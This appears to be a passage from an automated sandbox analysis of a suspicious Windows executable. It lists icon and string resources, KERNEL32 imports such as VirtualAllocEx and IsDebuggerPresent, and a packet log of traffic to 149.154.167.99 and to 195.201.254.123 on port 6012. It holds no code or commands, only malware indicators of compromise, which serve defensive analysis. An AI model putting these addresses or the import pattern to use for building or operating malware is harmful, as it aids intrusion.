RT_ICON	0x204d7b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	India	0.4761560693641618
RT_ICON	0x204dd20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	Pakistan	0.28143153526970954
RT_ICON	0x204dd20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Punjabi	India	0.28143153526970954
RT_ICON	0x20502c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	Pakistan	0.30816135084427765
RT_ICON	0x20502c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Punjabi	India	0.30816135084427765
RT_ICON	0x2051370	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	Pakistan	0.3368852459016393
RT_ICON	0x2051370	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Punjabi	India	0.3368852459016393
RT_ICON	0x2051cf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	Pakistan	0.375
RT_ICON	0x2051cf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Punjabi	India	0.375
RT_STRING	0x2054150	0xb8	data	Punjabi	Pakistan	0.5815217391304348
RT_STRING	0x2054150	0xb8	data	Punjabi	India	0.5815217391304348
RT_STRING	0x2054208	0x74a	data	Punjabi	Pakistan	0.42497320471597
RT_STRING	0x2054208	0x74a	data	Punjabi	India	0.42497320471597
RT_GROUP_CURSOR	0x2053eb0	0x30	data	Punjabi	Pakistan	0.9375
RT_GROUP_CURSOR	0x2053eb0	0x30	data	Punjabi	India	0.9375
RT_GROUP_ICON	0x20429a8	0x4c	data	Punjabi	Pakistan	0.75
RT_GROUP_ICON	0x20429a8	0x4c	data	Punjabi	India	0.75
RT_GROUP_ICON	0x204b938	0x68	data	Punjabi	Pakistan	0.7115384615384616
RT_GROUP_ICON	0x204b938	0x68	data	Punjabi	India	0.7115384615384616
RT_GROUP_ICON	0x2045ad0	0x30	data	Punjabi	Pakistan	0.9791666666666666
RT_GROUP_ICON	0x2045ad0	0x30	data	Punjabi	India	0.9791666666666666
RT_GROUP_ICON	0x2052160	0x76	data	Punjabi	Pakistan	0.6694915254237288
RT_GROUP_ICON	0x2052160	0x76	data	Punjabi	India	0.6694915254237288
RT_VERSION	0x2053ee0	0x270	data	Punjabi	Pakistan	0.5272435897435898
RT_VERSION	0x2053ee0	0x270	data	Punjabi	India	0.5272435897435898

Imports

DLL

Import

KERNEL32.dll

GetDateFormatW, UnregisterWait, FindResourceA, FindFirstFileW, FindFirstChangeNotificationW, SetFilePointer, GetConsoleAliasesLengthW, PeekNamedPipe, SetComputerNameExA, GetCurrentProcess, SetEnvironmentVariableW, InterlockedCompareExchange, AddConsoleAliasW, CreateHardLinkA, FreeEnvironmentStringsA, GetModuleHandleW, ReadConsoleInputA, CopyFileW, GetSystemWindowsDirectoryA, GetConsoleAliasExesLengthW, CreateFileW, GetVolumePathNameA, GetLastError, SetLastError, ReadConsoleOutputCharacterA, GetProcAddress, VirtualAlloc, VirtualAllocEx, SetFileApisToOEM, LoadLibraryA, InterlockedExchangeAdd, BuildCommDCBAndTimeoutsW, FindAtomA, GetOEMCP, GetModuleHandleA, FreeEnvironmentStringsW, EnumResourceNamesA, GetConsoleTitleW, GetShortPathNameW, FileTimeToLocalFileTime, FindFirstVolumeW, QueryDepthSList, FindNextVolumeA, AreFileApisANSI, CreateFileA, CloseHandle, WideCharToMultiByte, InterlockedIncrement, InterlockedDecrement, InterlockedExchange, MultiByteToWideChar, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCommandLineA, GetStartupInfoA, GetCPInfo, RtlUnwind, RaiseException, LCMapStringW, LCMapStringA, GetStringTypeW, HeapAlloc, HeapCreate, VirtualFree, HeapReAlloc, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapSize, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeA, GetACP, IsValidCodePage, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, InitializeCriticalSectionAndSpinCount, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, GetLocaleInfoW, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW

USER32.dll

ChangeMenuA, LoadMenuW, GetMessageExtraInfo

Possible Origin

Language of compilation system	Country where language is spoken	Map
Punjabi	Pakistan
Punjabi	India

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2023 16:50:48.348377943 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.348463058 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.348647118 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.372037888 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.372093916 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.448729038 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.449021101 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.699378967 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.699475050 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.700390100 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.700628996 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.704653025 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.747484922 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748595953 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748656034 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748754978 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748779058 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748856068 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.748857975 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748872042 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.748925924 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.752507925 CEST	49773	443	192.168.2.8	149.154.167.99
Aug 31, 2023 16:50:48.752535105 CEST	443	49773	149.154.167.99	192.168.2.8
Aug 31, 2023 16:50:48.757543087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.779143095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:48.779371023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.779787064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:48.800959110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.066073895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.066252947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.400916100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422157049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422274113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422308922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422339916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422370911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422414064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422452927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422471046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422485113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422518969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422523022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422544003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422554016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422576904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.422584057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.422657013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.443973064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444034100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444082022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444128990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444194078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444241047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444288969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444324970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444336891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444365025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444386959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444431067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444437027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444479942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444484949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444531918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444531918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444582939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444617987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444631100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444658995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444709063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444736004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444755077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444791079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444803953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444849014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444850922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444897890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444900990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.444947958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.444983959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.445024967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.445081949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.466572046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466633081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466682911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466728926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466777086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466825008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466872931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466921091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.466967106 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467015028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467061043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467091084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467108011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467154980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467164040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467202902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467252970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467262030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467299938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467323065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467348099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467386007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467396975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467443943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467472076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467503071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467530966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467573881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467577934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467617989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467626095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467672110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467674971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467725992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467747927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467773914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467782021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467823982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467833996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467874050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467886925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467922926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.467955112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.467972040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468019009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468030930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468069077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468089104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468117952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468163967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468189001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468210936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468261003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468267918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468310118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468358040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468405962 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468453884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468473911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468502998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.468523026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.468580008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.489823103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.489876986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.489924908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.489973068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490019083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490067005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490112066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490118027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490163088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490194082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490211964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490259886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490262985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490305901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490328074 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490354061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490389109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490401983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490451097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490452051 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490498066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490503073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490546942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490559101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490596056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490607977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490643024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490667105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490694046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490741968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490741968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490792990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490808010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490840912 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490858078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490889072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490916014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.490936995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490983009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.490983963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491029978 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491039991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491077900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491100073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491125107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491164923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491173983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491224051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491259098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491271019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491322041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491322994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491322994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491370916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491378069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491419077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491436958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491497993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491548061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491594076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491641998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491645098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491645098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491645098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491694927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491707087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491744995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491794109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491842985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491842985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491842985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491868973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491892099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491935015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491940975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.491988897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.491990089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492041111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492053986 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492089987 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492113113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492136955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492171049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492185116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492230892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492233038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492280006 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492299080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492327929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492363930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492374897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492417097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492423058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492471933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492471933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492522001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492538929 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492568970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492599964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492615938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492661953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492665052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492711067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492722988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492758036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492789030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492815971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492857933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492866039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492913008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.492919922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.492985010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493027925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493031979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493079901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493087053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493128061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493158102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493175983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493226051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493225098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493266106 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493274927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493309975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493321896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493365049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493370056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493423939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493463039 CEST	49774	6012	192.168.2.8	195.201.254.123
